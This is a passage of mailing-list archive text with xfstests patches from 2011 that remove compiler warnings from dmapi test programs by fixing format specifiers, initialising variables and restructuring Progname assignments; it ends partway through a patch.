dmapi/src/suite1/cmd/handle_to_fshandle.c | 3 - dmapi/src/suite1/cmd/handle_to_path.c | 10 ++-- dmapi/src/suite1/cmd/init_service.c | 3 - dmapi/src/suite1/cmd/link_test.c | 69 ++++++++++++++++-------------- dmapi/src/suite1/cmd/make_sparse.c | 6 +- dmapi/src/suite1/cmd/obj_ref_hold.c | 3 - dmapi/src/suite1/cmd/obj_ref_query.c | 3 - dmapi/src/suite1/cmd/obj_ref_rele.c | 3 - dmapi/src/suite1/cmd/path_to_fshandle.c | 3 - dmapi/src/suite1/cmd/path_to_handle.c | 3 - dmapi/src/suite1/cmd/pending.c | 3 - 12 files changed, 67 insertions(+), 49 deletions(-) Index: b/dmapi/src/suite1/cmd/getall_dmattr.c =================================================================== --- a/dmapi/src/suite1/cmd/getall_dmattr.c +++ b/dmapi/src/suite1/cmd/getall_dmattr.c @@ -66,7 +66,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -114,14 +115,14 @@ main( bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_getall_dmattr buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_getall_dmattr failed, %s\n", strerror(errno)); } exit(1); } - fprintf(stdout, "rlenp is %d\n", rlenp); + fprintf(stdout, "rlenp is %zd\n", rlenp); if (rlenp > 0) { dm_attrlist_t *attrlist; Index: b/dmapi/src/suite1/cmd/handle_to_fshandle.c =================================================================== --- a/dmapi/src/suite1/cmd/handle_to_fshandle.c +++ b/dmapi/src/suite1/cmd/handle_to_fshandle.c @@ -56,7 +56,8 @@ main( char buffer[100]; int error; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/handle_to_path.c =================================================================== --- a/dmapi/src/suite1/cmd/handle_to_path.c +++ b/dmapi/src/suite1/cmd/handle_to_path.c @@ -22,6 +22,7 @@ #include #include +#include #include #ifdef linux @@ -84,7 +85,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -130,16 +132,16 @@ main( buflen, pathbufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_handle_to_path buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_handle_to_path failed, (%d) %s\n", errno, strerror(errno)); } return(1); } - fprintf(stderr, "rlenp is %d, pathbufp is %s\n", rlenp, (char*)pathbufp); + fprintf(stderr, "rlenp is %zd, pathbufp is %s\n", rlenp, (char*)pathbufp); if (strlen(pathbufp) + 1 != rlenp) { - fprintf(stderr, "rlenp is %d, should be %d\n", rlenp, + fprintf(stderr, "rlenp is %zd, should be %zd\n", rlenp, strlen(pathbufp) + 1); return(1); } Index: b/dmapi/src/suite1/cmd/init_service.c =================================================================== --- a/dmapi/src/suite1/cmd/init_service.c +++ b/dmapi/src/suite1/cmd/init_service.c @@ -47,7 +47,8 @@ main( { char *name; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/link_test.c =================================================================== --- a/dmapi/src/suite1/cmd/link_test.c +++ b/dmapi/src/suite1/cmd/link_test.c @@ -36,37 +36,44 @@ main( int argc, char **argv) { - dm_sessid_t sid, oldsid, targetsid, *newsidp, *sidbufp; - dm_token_t token, *tokenp, *rtokenp, *tokenbufp; - dm_attrname_t *attrnamep; - dm_off_t off, *offp, *roffp; - dm_extent_t *extentp; - dm_inherit_t *inheritbufp; - dm_stat_t *statp; - dm_size_t len, *dmrlenp, *retvalp; - dm_attrloc_t *locp; - dm_eventset_t *eventsetp; - dm_config_t flagname; - dm_region_t *regbufp; - dm_response_t response; - dm_right_t right, *rightp; - dm_igen_t igen, *igenp; - dm_msgtype_t msgtype; - dm_fileattr_t *attrp; - dm_boolean_t enable, *exactflagp; - dm_timestruct_t *delay; - mode_t mode; - size_t hlen, dirhlen, hlen1, hlen2, targhlen, *fshlenp, *hlenp; - size_t msglen, buflen, *rlenp; - u_int nelem, mask, maxmsgs, uflags, *nelemp, maxevent; - void *hanp, *dirhanp, *hanp1, *hanp2, *targhanp; - void *msgdatap, *bufp, **hanpp, *respbufp, **fshanpp; - dm_fsid_t fsid, *fsidp; - dm_ino_t ino, *inop; - char *cname, *sessinfop, *path, *pathbufp, **versionstrpp; - int flags, fd, setdtime, reterror; - u_int urc; - int rc; + dm_sessid_t sid = 0, oldsid = 0, targetsid = 0; + dm_sessid_t *newsidp = NULL, *sidbufp = NULL; + dm_token_t token = 0, *tokenp = NULL; + dm_token_t *rtokenp = NULL, *tokenbufp = NULL; + dm_attrname_t *attrnamep = NULL; + dm_off_t off = 0, *offp = NULL, *roffp = NULL; + dm_extent_t *extentp = NULL; + dm_inherit_t *inheritbufp = NULL; + dm_stat_t *statp = NULL; + dm_size_t len = 0, *dmrlenp = NULL, *retvalp = NULL; + dm_attrloc_t *locp = NULL; + dm_eventset_t *eventsetp = NULL; + dm_config_t flagname = DM_CONFIG_INVALID; + dm_region_t *regbufp = NULL; + dm_response_t response = DM_RESP_INVALID; + dm_right_t right = DM_RIGHT_NULL, *rightp = NULL; + dm_igen_t igen, *igenp = NULL; + dm_msgtype_t msgtype = DM_MSGTYPE_INVALID; + dm_fileattr_t *attrp = NULL; + dm_boolean_t enable = 0, *exactflagp = NULL; + dm_timestruct_t *delay = NULL; + mode_t mode = 0; + size_t hlen = 0, dirhlen = 0, hlen1 = 0, hlen2 = 0; + size_t targhlen = 0, *fshlenp = NULL, *hlenp = NULL; + size_t msglen = 0, buflen = 0, *rlenp = NULL; + u_int nelem = 0, mask = 0, maxmsgs = 0, uflags = 0; + u_int *nelemp = NULL, maxevent = 0; + void *hanp = NULL, *dirhanp = NULL; + void *hanp1 = NULL, *hanp2 = NULL, *targhanp = NULL; + void *msgdatap = NULL, *bufp = NULL, **hanpp = NULL; + void *respbufp = NULL, **fshanpp = NULL; + dm_fsid_t fsid, *fsidp = NULL; + dm_ino_t ino, *inop = NULL; + char *cname = NULL, *sessinfop = NULL; + char *path = NULL, *pathbufp = NULL, **versionstrpp = NULL; + int flags = 0, fd = 0, setdtime = 0, reterror = 0; + u_int urc; + int rc; dm_ssize_t ssrc; /* Definitions per the prototypes in dmport.h, in the same order. */ Index: b/dmapi/src/suite1/cmd/make_sparse.c =================================================================== --- a/dmapi/src/suite1/cmd/make_sparse.c +++ b/dmapi/src/suite1/cmd/make_sparse.c @@ -82,18 +82,18 @@ main( for (i = 0; i < 200; i += 2) { offset = i * 65536; if (lseek(fd, offset, SEEK_SET) < 0) { - fprintf(stderr, "seek to %d failed, %s\n", offset, + fprintf(stderr, "seek to %zd failed, %s\n", offset, strerror(errno)); exit(1); } if ((count = write(fd, buf, buflen)) < 0) { fprintf(stderr, "write of %d bytes failed at offset " - "%d, , %s\n", buflen, offset, strerror(errno)); + "%zd, , %s\n", buflen, offset, strerror(errno)); exit(1); } if (count != buflen) { fprintf(stderr, "expected to write %d bytes at offset " - "%d, actually wrote %d\n", buflen, offset, + "%zd, actually wrote %zd\n", buflen, offset, count); exit(1); } Index: b/dmapi/src/suite1/cmd/obj_ref_hold.c =================================================================== --- a/dmapi/src/suite1/cmd/obj_ref_hold.c +++ b/dmapi/src/suite1/cmd/obj_ref_hold.c @@ -76,7 +76,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/obj_ref_query.c =================================================================== --- a/dmapi/src/suite1/cmd/obj_ref_query.c +++ b/dmapi/src/suite1/cmd/obj_ref_query.c @@ -77,7 +77,8 @@ main( int error; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/obj_ref_rele.c =================================================================== --- a/dmapi/src/suite1/cmd/obj_ref_rele.c +++ b/dmapi/src/suite1/cmd/obj_ref_rele.c @@ -76,7 +76,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/path_to_fshandle.c =================================================================== --- a/dmapi/src/suite1/cmd/path_to_fshandle.c +++ b/dmapi/src/suite1/cmd/path_to_fshandle.c @@ -55,7 +55,8 @@ main( size_t fshlen; char buffer[100]; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/path_to_handle.c =================================================================== --- a/dmapi/src/suite1/cmd/path_to_handle.c +++ b/dmapi/src/suite1/cmd/path_to_handle.c @@ -55,7 +55,8 @@ main( size_t hlen; char buffer[100]; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/pending.c =================================================================== --- a/dmapi/src/suite1/cmd/pending.c +++ b/dmapi/src/suite1/cmd/pending.c @@ -58,7 +58,8 @@ main( char *name; dm_token_t token; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; From aelder@sgi.com Fri Mar 4 13:35:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_54, J_CHICKENPOX_63,J_CHICKENPOX_64,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZKPR184631 for ; Fri, 4 Mar 2011 13:35:20 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay1.corp.sgi.com (Postfix) with ESMTP id 40E598F8033; Fri, 4 Mar 2011 11:38:12 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JcCVH004863; Fri, 4 Mar 2011 13:38:12 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24JcC1J004861; Fri, 4 Mar 2011 13:38:12 -0600 From: Alex Elder Message-Id: <201103041938.p24JcC1J004861@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:38:12 -0600 To: xfs@oss.sgi.com Subject: [PATCH 4/5] xfstests: eliminate warnings under dmapi/src/suite1/cmd (3) User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Eliminate build warnings reported on files located under dmapi/src/suite1/cmd/ (third of three). Signed-off-by: Alex Elder --- dmapi/src/suite1/cmd/print_event.c | 30 ++++++++++++++----------- dmapi/src/suite1/cmd/probe_hole.c | 6 +++-- dmapi/src/suite1/cmd/probe_punch_xfsctl_hole.c | 9 +++++-- dmapi/src/suite1/cmd/punch_hole.c | 3 +- dmapi/src/suite1/cmd/query_right.c | 3 +- dmapi/src/suite1/cmd/randomize_file.c | 4 +-- dmapi/src/suite1/cmd/release_right.c | 3 +- dmapi/src/suite1/cmd/remove_dmattr.c | 3 +- dmapi/src/suite1/cmd/request_right.c | 3 +- dmapi/src/suite1/cmd/respond_event.c | 3 +- dmapi/src/suite1/cmd/rwt.c | 15 ++++++------ dmapi/src/suite1/cmd/security_hole.c | 3 +- dmapi/src/suite1/cmd/security_hole2.c | 3 +- dmapi/src/suite1/cmd/set_disp.c | 3 +- dmapi/src/suite1/cmd/set_dmattr.c | 5 ++-- dmapi/src/suite1/cmd/set_eventlist.c | 3 +- dmapi/src/suite1/cmd/set_fileattr.c | 3 +- dmapi/src/suite1/cmd/struct_test.c | 4 +-- dmapi/src/suite1/cmd/sync_by_handle.c | 3 +- dmapi/src/suite1/cmd/test_assumption.c | 4 +-- dmapi/src/suite1/cmd/upgrade_right.c | 3 +- 21 files changed, 70 insertions(+), 46 deletions(-) Index: b/dmapi/src/suite1/cmd/print_event.c =================================================================== --- a/dmapi/src/suite1/cmd/print_event.c +++ b/dmapi/src/suite1/cmd/print_event.c @@ -331,31 +331,31 @@ print_one_mount_event( if (hanp1 && hlen1) { hantoa(hanp1, hlen1, hans1); } else { - sprintf(hans1, "", hlen1); + sprintf(hans1, "", hlen1); } if (hanp2 && hlen2) { hantoa(hanp2, hlen2, hans2); } else { - sprintf(hans2, "", hlen2); + sprintf(hans2, "", hlen2); } if (hanp3 && hlen3) { hantoa(hanp3, hlen3, hans3); } else { - sprintf(hans3, "", hlen3); + sprintf(hans3, "", hlen3); } if (namp1 && nlen1) { strncpy(nams1, namp1, nlen1); if (nlen1 != sizeof(nams1)) nams1[nlen1] = '\0'; } else { - sprintf(nams1, "", nlen1); + sprintf(nams1, "", nlen1); } if (namp2 && nlen2) { strncpy(nams2, namp2, nlen2); if (nlen2 != sizeof(nams2)) nams2[nlen2] = '\0'; } else { - sprintf(nams2, "", nlen2); + sprintf(nams2, "", nlen2); } printf(VALS VALS VALS VALS VALS VALD, @@ -475,6 +475,10 @@ handle_message( case DM_EVENT_TRUNCATE: rgflag = DM_REGION_TRUNCATE; break; + default: + err_msg("unexpected event type (%d)\n", msg->ev_type); + rgflag = DM_REGION_NOEVENT; + break; } clear_region_event(sid, rgflag, hanp1, hlen1, hans1); } @@ -488,24 +492,24 @@ handle_message( printf(HDR VALS VALLLD VALLLD, "read", msg->ev_token, msg->ev_sequence, "file handle", hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; case DM_EVENT_WRITE: printf(HDR VALS VALLLD VALLLD, "write", msg->ev_token, msg->ev_sequence, "file handle", hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; case DM_EVENT_TRUNCATE: printf(HDR VALS VALLLD VALLLD, "truncate", msg->ev_token, msg->ev_sequence, "file handle", hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; default: break; } @@ -578,7 +582,7 @@ handle_message( /***** NAMESPACE EVENTS *****/ else { - char *type; + char *type = NULL; msg_ne = DM_GET_VALUE(msg, ev_data, dm_namesp_event_t *); hanp1 = DM_GET_VALUE(msg_ne, ne_handle1, void *); @@ -1150,7 +1154,7 @@ finish_responding( int error = 0; u_int nbytes, ntokens = 0, ret_ntokens, i; dm_token_t *tokenbuf = NULL, *tokenptr; - size_t buflen, ret_buflen; + size_t buflen = 0, ret_buflen; char *msgbuf = NULL; dm_eventmsg_t *msg; Index: b/dmapi/src/suite1/cmd/probe_hole.c =================================================================== --- a/dmapi/src/suite1/cmd/probe_hole.c +++ b/dmapi/src/suite1/cmd/probe_hole.c @@ -70,7 +70,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -117,7 +118,8 @@ main( strerror(errno)); exit(1); } - fprintf(stdout, "roffp is %lld, rlenp is %lld\n", roffp, rlenp); + fprintf(stdout, "roffp is %lld, rlenp is %llu\n", + (long long) roffp, (unsigned long long) rlenp); dm_handle_free(hanp, hlen); exit(0); } Index: b/dmapi/src/suite1/cmd/probe_punch_xfsctl_hole.c =================================================================== --- a/dmapi/src/suite1/cmd/probe_punch_xfsctl_hole.c +++ b/dmapi/src/suite1/cmd/probe_punch_xfsctl_hole.c @@ -108,7 +108,8 @@ main( int opt; int method = METHOD_DMAPI_PROBE; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -149,7 +150,8 @@ main( usage(); printf("Running %s on %s with settings:\n", methodmap[method], pathname); - printf(" offset = '%lld', length = '%lld', sid = '%lld'\n", offset, length, sid); + printf(" offset = '%lld', length = '%lld', sid = '%lld'\n", + (long long) offset, (unsigned long long) length, (long long) sid); if (method == METHOD_XFSCTL) return xfsctl_punch_hole(pathname, offset, length); @@ -176,7 +178,8 @@ main( strerror(errno)); exit(1); } - fprintf(stdout, "roffp is %lld, rlenp is %lld\n", roffp, rlenp); + fprintf(stdout, "roffp is %lld, rlenp is %llu\n", + (long long) roffp, (unsigned long long) rlenp); break; case METHOD_DMAPI_PUNCH: if (dm_punch_hole(sid, hanp, hlen, DM_NO_TOKEN, offset, length)) { Index: b/dmapi/src/suite1/cmd/punch_hole.c =================================================================== --- a/dmapi/src/suite1/cmd/punch_hole.c +++ b/dmapi/src/suite1/cmd/punch_hole.c @@ -68,7 +68,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/query_right.c =================================================================== --- a/dmapi/src/suite1/cmd/query_right.c +++ b/dmapi/src/suite1/cmd/query_right.c @@ -77,7 +77,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/randomize_file.c =================================================================== --- a/dmapi/src/suite1/cmd/randomize_file.c +++ b/dmapi/src/suite1/cmd/randomize_file.c @@ -43,7 +43,7 @@ main( { FILE *infile; FILE *tmpfile; - char *path; + char path[] = "file_XXXXXX"; int line_count = 0; int i; int j; @@ -77,7 +77,7 @@ main( to each line copied. */ - path = tmpnam(NULL); + (void) mkstemp(path); if ((tmpfile = fopen(path, "w")) == NULL) { fprintf(stderr, "error opening temp file %s\n", path); exit(1); Index: b/dmapi/src/suite1/cmd/release_right.c =================================================================== --- a/dmapi/src/suite1/cmd/release_right.c +++ b/dmapi/src/suite1/cmd/release_right.c @@ -76,7 +76,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/remove_dmattr.c =================================================================== --- a/dmapi/src/suite1/cmd/remove_dmattr.c +++ b/dmapi/src/suite1/cmd/remove_dmattr.c @@ -65,7 +65,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/request_right.c =================================================================== --- a/dmapi/src/suite1/cmd/request_right.c +++ b/dmapi/src/suite1/cmd/request_right.c @@ -91,7 +91,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/respond_event.c =================================================================== --- a/dmapi/src/suite1/cmd/respond_event.c +++ b/dmapi/src/suite1/cmd/respond_event.c @@ -65,7 +65,8 @@ main( dm_response_t response; int reterror; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/rwt.c =================================================================== --- a/dmapi/src/suite1/cmd/rwt.c +++ b/dmapi/src/suite1/cmd/rwt.c @@ -89,7 +89,8 @@ main( ssize_t rc; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -131,7 +132,7 @@ main( } if (length > 0) { if ((bufp = malloc(length)) == NULL) { - fprintf(stderr, "malloc of %d bytes failed\n", length); + fprintf(stderr, "malloc of %zd bytes failed\n", length); exit(1); } if (wflag) @@ -147,7 +148,7 @@ main( fprintf(stderr, "seeked to offset %lld, actually " "arrived at %lld\n", - (int64_t)offset, (int64_t)seek_off); + (long long) offset, (long long) seek_off); exit(1); } } @@ -158,8 +159,8 @@ main( exit(1); } if (rc != length) { - fprintf(stderr, "expected to write %d bytes, actually " - "wrote %d bytes\n", length, rc); + fprintf(stderr, "expected to write %zd bytes, actually " + "wrote %zd bytes\n", length, rc); exit(1); } } else if (tflag) { @@ -174,8 +175,8 @@ main( exit(1); } if (rc != length) { - fprintf(stderr, "expected to read %d bytes, actually " - "read %d bytes\n", length, rc); + fprintf(stderr, "expected to read %zd bytes, actually " + "read %zd bytes\n", length, rc); exit(1); } } Index: b/dmapi/src/suite1/cmd/security_hole.c =================================================================== --- a/dmapi/src/suite1/cmd/security_hole.c +++ b/dmapi/src/suite1/cmd/security_hole.c @@ -63,7 +63,8 @@ main( int opt; int fd; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/security_hole2.c =================================================================== --- a/dmapi/src/suite1/cmd/security_hole2.c +++ b/dmapi/src/suite1/cmd/security_hole2.c @@ -59,7 +59,8 @@ main( int opt; int fd; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/set_disp.c =================================================================== --- a/dmapi/src/suite1/cmd/set_disp.c +++ b/dmapi/src/suite1/cmd/set_disp.c @@ -89,7 +89,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/set_dmattr.c =================================================================== --- a/dmapi/src/suite1/cmd/set_dmattr.c +++ b/dmapi/src/suite1/cmd/set_dmattr.c @@ -63,7 +63,7 @@ main( char *object; dm_attrname_t *attrnamep; char *bufp; - size_t buflen; + size_t buflen = 0; int bflag = 0; int setdtime = 0; void *hanp; @@ -71,7 +71,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/set_eventlist.c =================================================================== --- a/dmapi/src/suite1/cmd/set_eventlist.c +++ b/dmapi/src/suite1/cmd/set_eventlist.c @@ -85,7 +85,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/set_fileattr.c =================================================================== --- a/dmapi/src/suite1/cmd/set_fileattr.c +++ b/dmapi/src/suite1/cmd/set_fileattr.c @@ -323,7 +323,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/struct_test.c =================================================================== --- a/dmapi/src/suite1/cmd/struct_test.c +++ b/dmapi/src/suite1/cmd/struct_test.c @@ -51,7 +51,7 @@ if (offsetof(struct_name, field_name) != offset) { \ printf("ERROR: field %s should be %d\n", \ #struct_name "." #field_name, \ - offsetof(struct_name, field_name)); \ + (int) offsetof(struct_name, field_name)); \ } \ offset = offsetof(struct_name, field_name) + sizeof(X.field_name); \ } @@ -60,7 +60,7 @@ { \ printf("struct %s size is %d\n", s_name, offset); \ if (sizeof(struct_name) != offset) { \ - printf("ERROR: struct %s should be %d\n", \ + printf("ERROR: struct %s should be %zd\n", \ s_name, sizeof(struct_name)); \ } \ } Index: b/dmapi/src/suite1/cmd/sync_by_handle.c =================================================================== --- a/dmapi/src/suite1/cmd/sync_by_handle.c +++ b/dmapi/src/suite1/cmd/sync_by_handle.c @@ -65,7 +65,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite1/cmd/test_assumption.c =================================================================== --- a/dmapi/src/suite1/cmd/test_assumption.c +++ b/dmapi/src/suite1/cmd/test_assumption.c @@ -88,7 +88,7 @@ main( exit(1); } fprintf(stdout, "Initial session ID: %d\n", sid); - fprintf(stdout, "Initial session message length: '%d'\n", rlen); + fprintf(stdout, "Initial session message length: '%zd'\n", rlen); if (rlen > 0) { fprintf(stdout, "Initial session message: '%s'\n", buffer); } @@ -108,7 +108,7 @@ main( exit(1); } fprintf(stdout, "Assumed session ID: %d\n", newsid); - fprintf(stdout, "Assumed session message length: '%d'\n", rlen); + fprintf(stdout, "Assumed session message length: '%zd'\n", rlen); if (rlen > 0) { fprintf(stdout, "Assumed session message: '%s'\n", buffer); } Index: b/dmapi/src/suite1/cmd/upgrade_right.c =================================================================== --- a/dmapi/src/suite1/cmd/upgrade_right.c +++ b/dmapi/src/suite1/cmd/upgrade_right.c @@ -76,7 +76,8 @@ main( char *name; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; From aelder@sgi.com Fri Mar 4 13:35:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.6 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_63,J_CHICKENPOX_64,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JZPs7184644 for ; Fri, 4 Mar 2011 13:35:25 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id 42142304062; Fri, 4 Mar 2011 11:38:17 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24JcHxc004872; Fri, 4 Mar 2011 13:38:17 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24JcHUh004871; Fri, 4 Mar 2011 13:38:17 -0600 From: Alex Elder Message-Id: <201103041938.p24JcHUh004871@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 13:38:17 -0600 To: xfs@oss.sgi.com Subject: [PATCH 5/5] xfstests: eliminate warnings under dmapi/src/suite2/src User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Eliminate build warnings reported on files located under dmapi/src/suite2/src/. Signed-off-by: Alex Elder --- dmapi/src/suite2/src/dm_test_daemon.c | 30 +++++++++++++++--------------- dmapi/src/suite2/src/invis_test.c | 32 +++++++++++++++++++++----------- dmapi/src/suite2/src/mmap.c | 4 +++- dmapi/src/suite2/src/region_test.c | 3 ++- dmapi/src/suite2/src/send_msg.c | 3 ++- dmapi/src/suite2/src/test_bulkall.c | 9 +++++---- dmapi/src/suite2/src/test_bulkattr.c | 7 ++++--- dmapi/src/suite2/src/test_dmattr.c | 5 +++-- dmapi/src/suite2/src/test_efault.c | 7 ++++--- dmapi/src/suite2/src/test_eventlist.c | 3 ++- dmapi/src/suite2/src/test_fileattr.c | 10 ++++++---- dmapi/src/suite2/src/test_hole.c | 3 ++- dmapi/src/suite2/src/test_invis.c | 10 ++++++---- dmapi/src/suite2/src/test_region.c | 3 ++- dmapi/src/suite2/src/test_rights.c | 3 ++- 15 files changed, 79 insertions(+), 53 deletions(-) Index: b/dmapi/src/suite2/src/dm_test_daemon.c =================================================================== --- a/dmapi/src/suite2/src/dm_test_daemon.c +++ b/dmapi/src/suite2/src/dm_test_daemon.c @@ -324,31 +324,31 @@ print_one_mount_event( if (hanp1 && hlen1) { hantoa(hanp1, hlen1, hans1); } else { - sprintf(hans1, "", hlen1); + sprintf(hans1, "", hlen1); } if (hanp2 && hlen2) { hantoa(hanp2, hlen2, hans2); } else { - sprintf(hans2, "", hlen2); + sprintf(hans2, "", hlen2); } if (hanp3 && hlen3) { hantoa(hanp3, hlen3, hans3); } else { - sprintf(hans3, "", hlen3); + sprintf(hans3, "", hlen3); } if (namp1 && nlen1) { strncpy(nams1, namp1, nlen1); if (nlen1 != sizeof(nams1)) nams1[nlen1] = '\0'; } else { - sprintf(nams1, "", nlen1); + sprintf(nams1, "", nlen1); } if (namp2 && nlen2) { strncpy(nams2, namp2, nlen2); if (nlen2 != sizeof(nams2)) nams2[nlen2] = '\0'; } else { - sprintf(nams2, "", nlen2); + sprintf(nams2, "", nlen2); } printf(VALS VALS VALS VALS VALS VALD, @@ -373,8 +373,8 @@ handle_message( { int pkt_error = 0; int error; - dm_response_t response; - int respond, respcode; + dm_response_t response = DM_RESP_INVALID; + int respond, respcode = 0; dm_namesp_event_t *msg_ne; #if !VERITAS dm_mount_event_t *msg_me; @@ -578,24 +578,24 @@ handle_message( printf(HDR VALS VALLLD VALLLD, "read", msg->ev_token, msg->ev_sequence, "file handle", 